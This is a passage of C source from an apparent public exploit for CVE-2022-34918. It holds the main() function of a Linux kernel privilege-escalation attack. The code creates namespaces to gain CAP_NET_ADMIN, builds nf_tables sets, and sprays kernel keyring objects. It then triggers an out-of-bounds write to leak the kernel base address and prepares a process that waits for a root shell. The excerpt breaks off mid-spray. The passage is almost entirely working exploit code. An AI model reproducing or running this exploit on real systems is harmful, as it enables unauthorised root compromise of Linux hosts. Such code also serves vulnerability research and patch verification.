Function main

CVE-2022-34918/exploit/exploit.c:754–852

#define SPRAY_SIZE 300

int main(int argc, char **argv) {
    int sock;
    struct sockaddr_nl snl;
    struct write4_payload payload;
    struct keyring_payload leak_payload;
    struct leak *bases;
    struct fd_uring *fd_buffer;
    key_serial_t *id_buffer;
    char xattr_target_filename[] = "/tmp/tmpfs/file0";  // used for xattr spray
// 1. initialize
// 1-1 set affinity
    set_cpu_affinity(0, 0);
// 1-2 start a process wait for getting shell
    prepare_root_shell();
    printf("[+] Second process currently waiting\n");
// 1-3 setup namespace
    new_ns();
    printf("[+] Get CAP_NET_ADMIN capability\n");
// 1-4 Netfilter netlink socket creation
    if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) 
        error("socket");
    printf("[+] Netlink socket created\n");

    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;
    snl.nl_pid = getpid();
    if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
        error("bind");
    printf("[+] Netlink socket bound\n");
// 2. setup nf_tables
// 2-1 Create a netfilter table
    create_table(sock, TABLE_NAME);
    printf("[+] Table %s created\n", TABLE_NAME);

// 2-2 Create a netfilter set for the info leak
    create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
    printf("[+] Set for the leak created\n");

// 2-3  Create a netfilter set for the write primitive
    create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
    printf("[+] Set for write primitive created\n");
// 3. leak kernel base
// 3-1 Prepare the payload for the leak */
    int try_num = 0; 
    memset(&leak_payload, 0, sizeof(struct keyring_payload));
    leak_payload.len = USHRT_MAX;

    printf("[*] Leak in process");
    fflush(stdout);
retry:
// 3-2 Spray 50 user_key_payload
    id_buffer = spray_keyring(SPRAY_KEY_SIZE);

// 3-3 trigger OOB to modify user_key_payload->datalen
    add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);

// 3-4 Spray 300 percpu_ref_data in kmalloc-64
    fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));    // 300